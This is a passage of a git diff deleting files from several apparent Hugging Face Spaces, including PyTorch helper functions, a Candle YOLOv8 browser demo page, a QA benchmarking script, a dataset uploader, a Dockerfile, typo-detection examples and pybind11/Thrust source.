-  return torch.cat([x, signal.to(dtype=x.dtype, device=x.device)], axis)
-
-
-def subsequent_mask(length):
-  mask = torch.tril(torch.ones(length, length)).unsqueeze(0).unsqueeze(0)
-  return mask
-
-
-@torch.jit.script
-def fused_add_tanh_sigmoid_multiply(input_a, input_b, n_channels):
-  n_channels_int = n_channels[0]
-  in_act = input_a + input_b
-  t_act = torch.tanh(in_act[:, :n_channels_int, :])
-  s_act = torch.sigmoid(in_act[:, n_channels_int:, :])
-  acts = t_act * s_act
-  return acts
-
-
-def convert_pad_shape(pad_shape):
-  l = pad_shape[::-1]
-  pad_shape = [item for sublist in l for item in sublist]
-  return pad_shape
-
-
-def shift_1d(x):
-  x = F.pad(x, convert_pad_shape([[0, 0], [0, 0], [1, 0]]))[:, :, :-1]
-  return x
-
-
-def sequence_mask(length, max_length=None):
-  if max_length is None:
-    max_length = length.max()
-  x = torch.arange(max_length, dtype=length.dtype, device=length.device)
-  return x.unsqueeze(0) < length.unsqueeze(1)
-
-
-def generate_path(duration, mask):
-  """
-  duration: [b, 1, t_x]
-  mask: [b, 1, t_y, t_x]
-  """
-  device = duration.device
-  
-  b, _, t_y, t_x = mask.shape
-  cum_duration = torch.cumsum(duration, -1)
-  
-  cum_duration_flat = cum_duration.view(b * t_x)
-  path = sequence_mask(cum_duration_flat, t_y).to(mask.dtype)
-  path = path.view(b, t_x, t_y)
-  path = path - F.pad(path, convert_pad_shape([[0, 0], [1, 0], [0, 0]]))[:, :-1]
-  path = path.unsqueeze(1).transpose(2,3) * mask
-  return path
-
-
-def clip_grad_value_(parameters, clip_value, norm_type=2):
-  if isinstance(parameters, torch.Tensor):
-    parameters = [parameters]
-  parameters = list(filter(lambda p: p.grad is not None, parameters))
-  norm_type = float(norm_type)
-  if clip_value is not None:
-    clip_value = float(clip_value)
-
-  total_norm = 0
-  for p in parameters:
-    param_norm = p.grad.data.norm(norm_type)
-    total_norm += param_norm.item() ** norm_type
-    if clip_value is not None:
-      p.grad.data.clamp_(min=-clip_value, max=clip_value)
-  total_norm = total_norm ** (1. / norm_type)
-  return total_norm
diff --git a/spaces/lmz/candle-yolo/index.html b/spaces/lmz/candle-yolo/index.html
deleted file mode 100644
index 8f7d07c7a71df116cc7e568fd6f8595a530bdd97..0000000000000000000000000000000000000000
--- a/spaces/lmz/candle-yolo/index.html
+++ /dev/null
@@ -1,533 +0,0 @@
-<html>
-  <head>
-    <meta content="text/html;charset=utf-8" http-equiv="Content-Type" />
-    <title>Candle YOLOv8 Rust/WASM</title>
-  </head>
-  <body></body>
-</html>
-
-<!doctype html>
-<html>
-  <head>
-    <meta charset="UTF-8" />
-    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
-    <style>
-      @import url("https://fonts.googleapis.com/css2?family=Source+Code+Pro:wght@200;300;400&family=Source+Sans+3:wght@100;200;300;400;500;600;700;800;900&display=swap");
-      html,
-      body {
-        font-family: "Source Sans 3", sans-serif;
-      }
-      code,
-      output,
-      select,
-      pre {
-        font-family: "Source Code Pro", monospace;
-      }
-    </style>
-    <script src="https://cdn.tailwindcss.com"></script>
-    <script
-      src="https://cdn.jsdelivr.net/gh/huggingface/hub-js-utils/share-canvas.js"
-      type="module"
-    ></script>
-    <script type="module">
-      const MODEL_BASEURL =
-        "https://huggingface.co/lmz/candle-yolo-v8/resolve/main/";
-
-      const MODELS = {
-        yolov8n: {
-          model_size: "n",
-          url: "yolov8n.safetensors",
-        },
-        yolov8s: {
-          model_size: "s",
-          url: "yolov8s.safetensors",
-        },
-        yolov8m: {
-          model_size: "m",
-          url: "yolov8m.safetensors",
-        },
-        yolov8l: {
-          model_size: "l",
-          url: "yolov8l.safetensors",
-        },
-        yolov8x: {
-          model_size: "x",
-          url: "yolov8x.safetensors",
-        },
-        yolov8n_pose: {
-          model_size: "n",
-          url: "yolov8n-pose.safetensors",
-        },
-        yolov8s_pose: {
-          model_size: "s",
-          url: "yolov8s-pose.safetensors",
-        },
-        yolov8m_pose: {
-          model_size: "m",
-          url: "yolov8m-pose.safetensors",
-        },
-        yolov8l_pose: {
-          model_size: "l",
-          url: "yolov8l-pose.safetensors",
-        },
-        yolov8x_pose: {
-          model_size: "x",
-          url: "yolov8x-pose.safetensors",
-        },
-      };
-
-      const COCO_PERSON_SKELETON = [
-        [4, 0], // head
-        [3, 0],
-        [16, 14], // left lower leg
-        [14, 12], // left upper leg
-        [6, 12], // left torso
-        [6, 5], // top torso
-        [6, 8], // upper arm
-        [8, 10], // lower arm
-        [1, 2], // head
-        [1, 3], // right head
-        [2, 4], // left head
-        [3, 5], // right neck
-        [4, 6], // left neck
-        [5, 7], // right upper arm
-        [7, 9], // right lower arm
-        [5, 11], // right torso
-        [11, 12], // bottom torso
-        [11, 13], // right upper leg
-        [13, 15], // right lower leg
-      ];
-
-      // init web worker
-      const yoloWorker = new Worker("./yoloWorker.js", { type: "module" });
-
-      let hasImage = false;
-      //add event listener to image examples
-      document.querySelector("#image-select").addEventListener("click", (e) => {
-        const target = e.target;
-        if (target.nodeName === "IMG") {
-          const href = target.src;
-          drawImageCanvas(href);
-        }
-      });
-      //add event listener to file input
-      document.querySelector("#file-upload").addEventListener("change", (e) => {
-        const target = e.target;
-        if (target.files.length > 0) {
-          const href = URL.createObjectURL(target.files[0]);
-          drawImageCanvas(href);
-        }
-      });
-      // add event listener to drop-area
-      const dropArea = document.querySelector("#drop-area");
-      dropArea.addEventListener("dragenter", (e) => {
-        e.preventDefault();
-        dropArea.classList.add("border-blue-700");
-      });
-      dropArea.addEventListener("dragleave", (e) => {
-        e.preventDefault();
-        dropArea.classList.remove("border-blue-700");
-      });
-      dropArea.addEventListener("dragover", (e) => {
-        e.preventDefault();
-      });
-      dropArea.addEventListener("drop", (e) => {
-        e.preventDefault();
-        dropArea.classList.remove("border-blue-700");
-        const url = e.dataTransfer.getData("text/uri-list");
-        const files = e.dataTransfer.files;
-
-        if (files.length > 0) {
-          const href = URL.createObjectURL(files[0]);
-          drawImageCanvas(href);
-        } else if (url) {
-          drawImageCanvas(url);
-        }
-      });
-
-      document.querySelector("#clear-btn").addEventListener("click", () => {
-        drawImageCanvas();
-      });
-
-      function drawImageCanvas(imgURL) {
-        const canvas = document.querySelector("#canvas");
-        const canvasResult = document.querySelector("#canvas-result");
-        canvasResult
-          .getContext("2d")
-          .clearRect(0, 0, canvas.width, canvas.height);
-        const ctx = canvas.getContext("2d");
-        ctx.clearRect(0, 0, canvas.width, canvas.height);
-        document.querySelector("#share-btn").classList.add("invisible");
-        document.querySelector("#clear-btn").classList.add("invisible");
-        document.querySelector("#detect").disabled = true;
-        hasImage = false;
-        canvas.parentElement.style.height = "auto";
-
-        if (imgURL && imgURL !== "") {
-          const img = new Image();
-          img.crossOrigin = "anonymous";
-
-          img.onload = () => {
-            canvas.width = img.width;
-            canvas.height = img.height;
-            ctx.drawImage(img, 0, 0);
-
-            canvas.parentElement.style.height = canvas.offsetHeight + "px";
-            hasImage = true;
-            document.querySelector("#detect").disabled = false;
-            document.querySelector("#clear-btn").classList.remove("invisible");
-          };
-          img.src = imgURL;
-        }
-      }
-
-      async function classifyImage(
-        imageURL, // URL of image to classify
-        modelID, // ID of model to use
-        modelURL, // URL to model file
-        modelSize, // size of model
-        confidence, // confidence threshold
-        iou_threshold, // IoU threshold
-        updateStatus // function receives status updates
-      ) {
-        return new Promise((resolve, reject) => {
-          yoloWorker.postMessage({
-            imageURL,
-            modelID,
-            modelURL,
-            modelSize,
-            confidence,
-            iou_threshold,
-          });
-          yoloWorker.addEventListener("message", (event) => {
-            if ("status" in event.data) {
-              updateStatus(event.data.status);
-            }
-            if ("error" in event.data) {
-              reject(new Error(event.data.error));
-            }
-            if (event.data.status === "complete") {
-              resolve(event.data);
-            }
-          });
-        });
-      }
-      // add event listener to detect button
-      document.querySelector("#detect").addEventListener("click", async () => {
-        if (!hasImage) {
-          return;
-        }
-        const modelID = document.querySelector("#model").value;
-        const modelURL = MODEL_BASEURL + MODELS[modelID].url;
-        const modelSize = MODELS[modelID].model_size;
-        const confidence = parseFloat(
-          document.querySelector("#confidence").value
-        );
-        const iou_threshold = parseFloat(
-          document.querySelector("#iou_threshold").value
-        );
-
-        const canvasInput = document.querySelector("#canvas");
-        const canvas = document.querySelector("#canvas-result");
-        canvas.width = canvasInput.width;
-        canvas.height = canvasInput.height;
-
-        const scale = canvas.width / canvas.offsetWidth;
-
-        const ctx = canvas.getContext("2d");
-        ctx.drawImage(canvasInput, 0, 0);
-        const imageURL = canvas.toDataURL();
-
-        const results = await await classifyImage(
-          imageURL,
-          modelID,
-          modelURL,
-          modelSize,
-          confidence,
-          iou_threshold,
-          updateStatus
-        );
-
-        const { output } = results;
-
-        ctx.lineWidth = 1 + 2 * scale;
-        ctx.strokeStyle = "#3c8566";
-        ctx.fillStyle = "#0dff9a";
-        const fontSize = 14 * scale;
-        ctx.font = `${fontSize}px sans-serif`;
-        for (const detection of output) {
-          // check keypoint for pose model data
-          let xmin, xmax, ymin, ymax, label, confidence, keypoints;
-          if ("keypoints" in detection) {
-            xmin = detection.xmin;
-            xmax = detection.xmax;
-            ymin = detection.ymin;
-            ymax = detection.ymax;
-            confidence = detection.confidence;
-            keypoints = detection.keypoints;
-          } else {
-            const [_label, bbox] = detection;
-            label = _label;
-            xmin = bbox.xmin;
-            xmax = bbox.xmax;
-            ymin = bbox.ymin;
-            ymax = bbox.ymax;
-            confidence = bbox.confidence;
-          }
-          const [x, y, w, h] = [xmin, ymin, xmax - xmin, ymax - ymin];
-
-          const text = `${label ? label + " " : ""}${confidence.toFixed(2)}`;
-          const width = ctx.measureText(text).width;
-          ctx.fillStyle = "#3c8566";
-          ctx.fillRect(x - 2, y - fontSize, width + 4, fontSize);
-          ctx.fillStyle = "#e3fff3";
-
-          ctx.strokeRect(x, y, w, h);
-          ctx.fillText(text, x, y - 2);
-          if (keypoints) {
-            ctx.save();
-            ctx.fillStyle = "magenta";
-            ctx.strokeStyle = "yellow";
-
-            for (const keypoint of keypoints) {
-              const { x, y } = keypoint;
-              ctx.beginPath();
-              ctx.arc(x, y, 3, 0, 2 * Math.PI);
-              ctx.fill();
-            }
-            ctx.beginPath();
-            for (const [xid, yid] of COCO_PERSON_SKELETON) {
-              //draw line between skeleton keypoitns
-              if (keypoints[xid] && keypoints[yid]) {
-                ctx.moveTo(keypoints[xid].x, keypoints[xid].y);
-                ctx.lineTo(keypoints[yid].x, keypoints[yid].y);
-              }
-            }
-            ctx.stroke();
-            ctx.restore();
-          }
-        }
-      });
-
-      function updateStatus(statusMessage) {
-        const button = document.querySelector("#detect");
-        if (statusMessage === "detecting") {
-          button.disabled = true;
-          button.classList.add("bg-blue-700");
-          button.classList.remove("bg-blue-950");
-          button.textContent = "Predicting...";
-        } else if (statusMessage === "complete") {
-          button.disabled = false;
-          button.classList.add("bg-blue-950");
-          button.classList.remove("bg-blue-700");
-          button.textContent = "Predict";
-          document.querySelector("#share-btn").classList.remove("invisible");
-        }
-      }
-      document.querySelector("#share-btn").addEventListener("click", () => {
-        shareToCommunity(
-          "lmz/candle-yolo",
-          "Candle + YOLOv8",
-          "YOLOv8 with [Candle](https://github.com/huggingface/candle)",
-          "canvas-result",
-          "share-btn"
-        );
-      });
-    </script>
-  </head>
-  <body class="container max-w-4xl mx-auto p-4">
-    <main class="grid grid-cols-1 gap-8 relative">
-      <span class="absolute text-5xl -ml-[1em]"> 🕯️ </span>
-      <div>
-        <h1 class="text-5xl font-bold">Candle YOLOv8</h1>
-        <h2 class="text-2xl font-bold">Rust/WASM Demo</h2>
-        <p class="max-w-lg">
-          This demo showcases object detection and pose estimation models in
-          your browser using Rust/WASM. It utilizes
-          <a
-            href="https://huggingface.co/lmz/candle-yolo-v8"
-            target="_blank"
-            class="underline hover:text-blue-500 hover:no-underline"
-          >
-            safetensor's YOLOv8 models
-          </a>
-          and a WASM runtime built with
-          <a
-            href="https://github.com/huggingface/candle/"
-            target="_blank"
-            class="underline hover:text-blue-500 hover:no-underline"
-            >Candle </a
-          >.
-        </p>
-        <p>
-          To run pose estimation, select a yolo pose model from the dropdown
-        </p>
-      </div>
-
-      <div>
-        <label for="model" class="font-medium">Models Options: </label>
-        <select
-          id="model"
-          class="border-2 border-gray-500 rounded-md font-light"
-        >
-          <option value="yolov8n" selected>yolov8n (6.37 MB)</option>
-          <option value="yolov8s">yolov8s (22.4 MB)</option>
-          <option value="yolov8m">yolov8m (51.9 MB)</option>
-          <option value="yolov8l">yolov8l (87.5 MB)</option>
-          <option value="yolov8x">yolov8x (137 MB)</option>
-          <!-- Pose models -->
-          <option value="yolov8n_pose">yolov8n_pose (6.65 MB)</option>
-          <option value="yolov8s_pose">yolov8s_pose (23.3 MB)</option>
-          <option value="yolov8m_pose">yolov8m_pose (53 MB)</option>
-          <option value="yolov8l_pose">yolov8l_pose (89.1 MB)</option>
-          <option value="yolov8x_pose">yolov8x_pose (139 MB)</option>
-        </select>
-      </div>
-      <div>
-        <button
-          id="detect"
-          disabled
-          class="bg-gray-700 hover:bg-gray-800 text-white font-normal py-2 px-4 rounded disabled:bg-gray-300 disabled:cursor-not-allowed"
-        >
-          Predict
-        </button>
-      </div>
-      <!-- drag and drop area -->
-      <div class="relative">
-        <div class="py-1">
-          <button
-            id="clear-btn"
-            class="text-xs bg-white rounded-md disabled:opacity-50 flex gap-1 items-center ml-auto invisible"
-          >
-            <svg
-              class=""
-              xmlns="http://www.w3.org/2000/svg"
-              viewBox="0 0 13 12"
-              height="1em"
-            >
-              <path
-                d="M1.6.7 12 11.1M12 .7 1.6 11.1"
-                stroke="#2E3036"
-                stroke-width="2"
-              />
-            </svg>
-            Clear image
-          </button>
-        </div>
-        <div
-          id="drop-area"
-          class="flex flex-col items-center justify-center border-2 border-gray-300 border-dashed rounded-xl relative aspect-video w-full overflow-hidden"
-        >
-          <div
-            class="flex flex-col items-center justify-center space-y-1 text-center"
-          >
-            <svg
-              width="25"
-              height="25"
-              viewBox="0 0 25 25"
-              fill="none"
-              xmlns="http://www.w3.org/2000/svg"
-            >
-              <path
-                d="M3.5 24.3a3 3 0 0 1-1.9-.8c-.5-.5-.8-1.2-.8-1.9V2.9c0-.7.3-1.3.8-1.9.6-.5 1.2-.7 2-.7h18.6c.7 0 1.3.2 1.9.7.5.6.7 1.2.7 2v18.6c0 .7-.2 1.4-.7 1.9a3 3 0 0 1-2 .8H3.6Zm0-2.7h18.7V2.9H3.5v18.7Zm2.7-2.7h13.3c.3 0 .5 0 .6-.3v-.7l-3.7-5a.6.6 0 0 0-.6-.2c-.2 0-.4 0-.5.3l-3.5 4.6-2.4-3.3a.6.6 0 0 0-.6-.3c-.2 0-.4.1-.5.3l-2.7 3.6c-.1.2-.2.4 0 .7.1.2.3.3.6.3Z"
-                fill="#000"
-              />
-            </svg>
-            <div class="flex text-sm text-gray-600">
-              <label
-                for="file-upload"
-                class="relative cursor-pointer bg-white rounded-md font-medium text-blue-950 hover:text-blue-700"
-              >
-                <span>Drag and drop your image here</span>
-                <span class="block text-xs">or</span>
-                <span class="block text-xs">Click to upload</span>
-              </label>
-            </div>
-            <input
-              id="file-upload"
-              name="file-upload"
-              type="file"
-              class="sr-only"
-            />
-          </div>
-          <canvas
-            id="canvas"
-            class="absolute pointer-events-none w-full"
-          ></canvas>
-          <canvas
-            id="canvas-result"
-            class="absolute pointer-events-none w-full"
-          ></canvas>
-        </div>
-        <div class="text-right py-2">
-          <button
-            id="share-btn"
-            class="bg-white rounded-md hover:outline outline-orange-200 disabled:opacity-50 invisible"
-          >
-            <img
-              src="https://huggingface.co/datasets/huggingface/badges/raw/main/share-to-community-sm.svg"
-            />
-          </button>
-        </div>
-      </div>
-      <div>
-        <div class="flex gap-3 items-center" id="image-select">
-          <h3 class="font-medium">Examples:</h3>
-
-          <img
-            src="https://huggingface.co/datasets/huggingface/documentation-images/resolve/main/candle/examples/sf.jpg"
-            class="cursor-pointer w-24 h-24 object-cover"
-          />
-          <img
-            src="https://huggingface.co/datasets/huggingface/documentation-images/resolve/main/candle/examples/bike.jpeg"
-            class="cursor-pointer w-24 h-24 object-cover"
-          />
-          <img
-            src="https://huggingface.co/datasets/huggingface/documentation-images/resolve/main/candle/examples/000000000077.jpg"
-            class="cursor-pointer w-24 h-24 object-cover"
-          />
-        </div>
-      </div>
-      <div>
-        <div class="grid grid-cols-3 max-w-md items-center gap-3">
-          <label class="text-sm font-medium" for="confidence"
-            >Confidence Threshold</label
-          >
-          <input
-            type="range"
-            id="confidence"
-            name="confidence"
-            min="0"
-            max="1"
-            step="0.01"
-            value="0.25"
-            oninput="this.nextElementSibling.value = Number(this.value).toFixed(2)"
-          />
-          <output
-            class="text-xs font-light px-1 py-1 border border-gray-700 rounded-md w-min"
-            >0.25</output
-          >
-
-          <label class="text-sm font-medium" for="iou_threshold"
-            >IoU Threshold</label
-          >
-
-          <input
-            type="range"
-            id="iou_threshold"
-            name="iou_threshold"
-            min="0"
-            max="1"
-            step="0.01"
-            value="0.45"
-            oninput="this.nextElementSibling.value = Number(this.value).toFixed(2)"
-          />
-          <output
-            class="font-extralight text-xs px-1 py-1 border border-gray-700 rounded-md w-min"
-            >0.45</output
-          >
-        </div>
-      </div>
-    </main>
-  </body>
-</html>
diff --git a/spaces/lunarflu/HF-QA-Demo-3/benchmark/__main__.py b/spaces/lunarflu/HF-QA-Demo-3/benchmark/__main__.py
deleted file mode 100644
index 2557f4287b4ee74a8558332d88f07a5eb40407d7..0000000000000000000000000000000000000000
--- a/spaces/lunarflu/HF-QA-Demo-3/benchmark/__main__.py
+++ /dev/null
@@ -1,76 +0,0 @@
-import time
-import json
-
-import wandb
-import gradio as gr
-
-from qa_engine import logger, Config, QAEngine
-
-
-QUESTIONS_FILENAME = 'benchmark/questions.json'
-
-config = Config()
-qa_engine = QAEngine(
-    llm_model_id=config.question_answering_model_id,
-    embedding_model_id=config.embedding_model_id,
-    index_repo_id=config.index_repo_id,
-    prompt_template=config.prompt_template,
-    use_docs_for_context=config.use_docs_for_context,
-    add_sources_to_response=config.add_sources_to_response,
-    use_messages_for_context=config.use_messages_in_context,
-    debug=config.debug
-)
-
-
-def main():
-    filtered_config = config.asdict()
-    disallowed_config_keys = [
-        "DISCORD_TOKEN", "NUM_LAST_MESSAGES", "USE_NAMES_IN_CONTEXT",
-        "ENABLE_COMMANDS", "APP_MODE", "DEBUG"
-    ]
-    for key in disallowed_config_keys:
-        filtered_config.pop(key, None)
-
-    wandb.init(
-        project='HF-Docs-QA',
-        name=f'{config.question_answering_model_id} - {config.embedding_model_id} - {config.index_repo_id}',
-        mode='run', # run/disabled
-        config=filtered_config
-    )
-
-    with open(QUESTIONS_FILENAME, 'r') as f:
-        questions = json.load(f)
-
-    table = wandb.Table(
-        columns=[
-            "id", "question", "messages_context", "answer", "sources", "time"
-        ]
-    )
-    for i, q in enumerate(questions):
-        logger.info(f"Question {i+1}/{len(questions)}")
-
-        question = q['question']
-        messages_context = q['messages_context']
-
-        time_start = time.perf_counter()
-        response = qa_engine.get_response(
-            question=question, 
-            messages_context=messages_context
-        )
-        time_end = time.perf_counter()
-
-        table.add_data(
-            i,
-            question,
-            messages_context,
-            response.get_answer(),
-            response.get_sources_as_text(),
-            time_end - time_start
-        )
-
-    wandb.log({"answers": table})
-    wandb.finish()
-
-
-if __name__ == '__main__':
-    main()
diff --git a/spaces/lunarflu/HF-QA-Demo-3/data/upload_csv_dataset.py b/spaces/lunarflu/HF-QA-Demo-3/data/upload_csv_dataset.py
deleted file mode 100644
index c686b001e5d06c036508b0b8344652ef624eabfb..0000000000000000000000000000000000000000
--- a/spaces/lunarflu/HF-QA-Demo-3/data/upload_csv_dataset.py
+++ /dev/null
@@ -1,24 +0,0 @@
-import sys
-import pandas as pd
-from datasets import Dataset, DatasetDict
-from sklearn.model_selection import train_test_split
-
-
-
-def main():
-    dataset_name = sys.argv[1]
-    test_size = float(sys.argv[2]) if len(sys.argv) > 2 else 0.1
-    print(f'dataset: {dataset_name}, test size: {test_size}')
-
-    filename = f'datasets/{dataset_name}.csv'
-    df = pd.read_csv(filename)
-    dataset = Dataset.from_pandas(df)
-    train_dataset, test_dataset = train_test_split(dataset, test_size=test_size)
-    train_dataset = Dataset.from_dict(train_dataset)
-    test_dataset = Dataset.from_dict(test_dataset)
-    dataset_dict = DatasetDict({'train': train_dataset, 'test': test_dataset})
-    dataset_dict.push_to_hub(f'KonradSzafer/{dataset_name}', private=False)
-
-
-if __name__ == '__main__':
-    main()
diff --git a/spaces/lykke-05/pleaselowrd/Dockerfile b/spaces/lykke-05/pleaselowrd/Dockerfile
deleted file mode 100644
index 6c01c09373883afcb4ea34ae2d316cd596e1737b..0000000000000000000000000000000000000000
--- a/spaces/lykke-05/pleaselowrd/Dockerfile
+++ /dev/null
@@ -1,21 +0,0 @@
-FROM node:18-bullseye-slim
-
-RUN apt-get update && \
-
-apt-get install -y git
-
-RUN git clone https://gitgud.io/khanon/oai-reverse-proxy.git /app
-
-WORKDIR /app
-
-RUN npm install
-
-COPY Dockerfile greeting.md* .env* ./
-
-RUN npm run build
-
-EXPOSE 7860
-
-ENV NODE_ENV=production
-
-CMD [ "npm", "start" ]
\ No newline at end of file
diff --git a/spaces/m3hrdadfi/typo-detector/libs/examples.py b/spaces/m3hrdadfi/typo-detector/libs/examples.py
deleted file mode 100644
index db3d6dc01bf0fd28eaaa6479c2c2ecf0854c27fa..0000000000000000000000000000000000000000
--- a/spaces/m3hrdadfi/typo-detector/libs/examples.py
+++ /dev/null
@@ -1,31 +0,0 @@
-LANGUAGES = ["en", "fa", "is"]
-EXAMPLES = {
-    "en": {
-        "Example 1": "He had also stgruggled with addiction during his time in Congress .",
-        "Example 2": "The review thoroughla assessed all aspects of JLENS SuR and CPG esign maturit and confidence .",
-        "Example 3": "Letterma also apologized two his staff for the satyation .",
-        "Example 4": "Vincent Jay had earlier won France 's first gold in gthe 10km biathlon sprint .",
-        "Example 5": "It is left to the directors to figure out hpw to bring the stry across to tye audience .",
-    },
-    "fa": {
-        "Example 1": "و گلوله دور مقابکل غلم بود .",
-        "Example 2": "شلام تاریکی، دوسته قدیمی من",
-        "Example 3": "در سدای سکوت، در روایئ ناآرام تنها غدم می‌زنم",
-        "Example 4": "زیر هلقه نور چراغ خیابان",
-        "Example 5": "و در صدای سکوت ضمضمه می شود",
-        "Example 6": "ویرایستیار متن برای نویسندگان ، روزنامه نگاران و اسحاب رصانهه",
-        "Example 7": "جکیم ابوالقفاسم فرذدوسی ساعر حماصی سصرای غرن جهارم استت ( تمامما قلط )",
-        "Example 8": "میان عاشق و معشوق هیچ هائل نیست",
-        "Example 9": "عذاهای زود حزم برای معده بهتر است .",
-        "Example 10": "غضا خوردم و رفتم .",
-        "Example 11": "او شاگرد خاص و عقرب به استاد بود ",
-    },
-    "is": {
-        "Example 1": "Páli, vini mínum, langaði að horfa á sjónnvarpið.",
-        "Example 2": "Leggir þciðursins eru þaktir fjöðrum til bað edravn fuglnn gekgn kuldanué .",
-        "Example 3": "Þar hitta þeir konu Björns og segir ovs :",
-        "Example 4": "Ingvar Sæmundsson ekgk rú sveitinni árið 2015 og etnbeitii sér að hinni þungarokkssvedt svnni Momentum .",
-        "Example 5": "Þar hitta þeir konu Björns og segir ovs :",
-        "Example 6": "Var hann síðaún hkluti af leikhópnum sem ferðaðist um Bandaríkin til að sýan söngleikinn ."
-    }
-}
diff --git a/spaces/ma-xu/LIVE/pybind11/tests/test_tagbased_polymorphic.cpp b/spaces/ma-xu/LIVE/pybind11/tests/test_tagbased_polymorphic.cpp
deleted file mode 100644
index dcc005126eed4ae13f69dedcb1fe04dce1a4c22f..0000000000000000000000000000000000000000
--- a/spaces/ma-xu/LIVE/pybind11/tests/test_tagbased_polymorphic.cpp
+++ /dev/null
@@ -1,142 +0,0 @@
-/*
-    tests/test_tagbased_polymorphic.cpp -- test of polymorphic_type_hook
-
-    Copyright (c) 2018 Hudson River Trading LLC <opensource@hudson-trading.com>
-
-    All rights reserved. Use of this source code is governed by a
-    BSD-style license that can be found in the LICENSE file.
-*/
-
-#include "pybind11_tests.h"
-#include <pybind11/stl.h>
-
-struct Animal
-{
-    // Make this type also a "standard" polymorphic type, to confirm that
-    // specializing polymorphic_type_hook using enable_if_t still works
-    // (https://github.com/pybind/pybind11/pull/2016/).
-    virtual ~Animal() = default;
-
-    // Enum for tag-based polymorphism.
-    enum class Kind {
-        Unknown = 0,
-        Dog = 100, Labrador, Chihuahua, LastDog = 199,
-        Cat = 200, Panther, LastCat = 299
-    };
-    static const std::type_info* type_of_kind(Kind kind);
-    static std::string name_of_kind(Kind kind);
-
-    const Kind kind;
-    const std::string name;
-
-  protected:
-    Animal(const std::string& _name, Kind _kind)
-        : kind(_kind), name(_name)
-    {}
-};
-
-struct Dog : Animal
-{
-    Dog(const std::string& _name, Kind _kind = Kind::Dog) : Animal(_name, _kind) {}
-    std::string bark() const { return name_of_kind(kind) + " " + name + " goes " + sound; }
-    std::string sound = "WOOF!";
-};
-
-struct Labrador : Dog
-{
-    Labrador(const std::string& _name, int _excitement = 9001)
-        : Dog(_name, Kind::Labrador), excitement(_excitement) {}
-    int excitement;
-};
-
-struct Chihuahua : Dog
-{
-    Chihuahua(const std::string& _name) : Dog(_name, Kind::Chihuahua) { sound = "iyiyiyiyiyi"; }
-    std::string bark() const { return Dog::bark() + " and runs in circles"; }
-};
-
-struct Cat : Animal
-{
-    Cat(const std::string& _name, Kind _kind = Kind::Cat) : Animal(_name, _kind) {}
-    std::string purr() const { return "mrowr"; }
-};
-
-struct Panther : Cat
-{
-    Panther(const std::string& _name) : Cat(_name, Kind::Panther) {}
-    std::string purr() const { return "mrrrRRRRRR"; }
-};
-
-std::vector<std::unique_ptr<Animal>> create_zoo()
-{
-    std::vector<std::unique_ptr<Animal>> ret;
-    ret.emplace_back(new Labrador("Fido", 15000));
-
-    // simulate some new type of Dog that the Python bindings
-    // haven't been updated for; it should still be considered
-    // a Dog, not just an Animal.
-    ret.emplace_back(new Dog("Ginger", Dog::Kind(150)));
-
-    ret.emplace_back(new Chihuahua("Hertzl"));
-    ret.emplace_back(new Cat("Tiger", Cat::Kind::Cat));
-    ret.emplace_back(new Panther("Leo"));
-    return ret;
-}
-
-const std::type_info* Animal::type_of_kind(Kind kind)
-{
-    switch (kind) {
-        case Kind::Unknown: break;
-
-        case Kind::Dog: break;
-        case Kind::Labrador: return &typeid(Labrador);
-        case Kind::Chihuahua: return &typeid(Chihuahua);
-        case Kind::LastDog: break;
-
-        case Kind::Cat: break;
-        case Kind::Panther: return &typeid(Panther);
-        case Kind::LastCat: break;
-    }
-
-    if (kind >= Kind::Dog && kind <= Kind::LastDog) return &typeid(Dog);
-    if (kind >= Kind::Cat && kind <= Kind::LastCat) return &typeid(Cat);
-    return nullptr;
-}
-
-std::string Animal::name_of_kind(Kind kind)
-{
-    std::string raw_name = type_of_kind(kind)->name();
-    py::detail::clean_type_id(raw_name);
-    return raw_name;
-}
-
-namespace pybind11 {
-    template <typename itype>
-    struct polymorphic_type_hook<itype, detail::enable_if_t<std::is_base_of<Animal, itype>::value>>
-    {
-        static const void *get(const itype *src, const std::type_info*& type)
-        { type = src ? Animal::type_of_kind(src->kind) : nullptr; return src; }
-    };
-}
-
-TEST_SUBMODULE(tagbased_polymorphic, m) {
-    py::class_<Animal>(m, "Animal")
-        .def_readonly("name", &Animal::name);
-    py::class_<Dog, Animal>(m, "Dog")
-        .def(py::init<std::string>())
-        .def_readwrite("sound", &Dog::sound)
-        .def("bark", &Dog::bark);
-    py::class_<Labrador, Dog>(m, "Labrador")
-        .def(py::init<std::string, int>(), "name"_a, "excitement"_a = 9001)
-        .def_readwrite("excitement", &Labrador::excitement);
-    py::class_<Chihuahua, Dog>(m, "Chihuahua")
-        .def(py::init<std::string>())
-        .def("bark", &Chihuahua::bark);
-    py::class_<Cat, Animal>(m, "Cat")
-        .def(py::init<std::string>())
-        .def("purr", &Cat::purr);
-    py::class_<Panther, Cat>(m, "Panther")
-        .def(py::init<std::string>())
-        .def("purr", &Panther::purr);
-    m.def("create_zoo", &create_zoo);
-};
diff --git a/spaces/ma-xu/LIVE/thrust/thrust/detail/type_traits/has_nested_type.h b/spaces/ma-xu/LIVE/thrust/thrust/detail/type_traits/has_nested_type.h
deleted file mode 100644
index 78bb4b7f57a2f62d70ed6cf04bf58913b4100b69..0000000000000000000000000000000000000000
--- a/spaces/ma-xu/LIVE/thrust/thrust/detail/type_traits/has_nested_type.h
+++ /dev/null
@@ -1,32 +0,0 @@
-/*
- *  Copyright 2008-2013 NVIDIA Corporation
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- */
-
-#pragma once
-
-#include <thrust/detail/type_traits.h>
-
-#define __THRUST_DEFINE_HAS_NESTED_TYPE(trait_name, nested_type_name) \
-template<typename T> \
-  struct trait_name  \
-{                    \
-  typedef char yes_type; \
-  typedef int  no_type;  \
-  template<typename S> static yes_type test(typename S::nested_type_name *); \
-  template<typename S> static no_type  test(...); \
-  static bool const value = sizeof(test<T>(0)) == sizeof(yes_type);\
-  typedef thrust::detail::integral_constant<bool, value> type;\
-};
-
diff --git a/spaces/ma-xu/LIVE/thrust/thrust/system/detail/adl/merge.h b/spaces/ma-xu/LIVE/thrust/thrust/system/detail/adl/merge.h
deleted file mode 100644
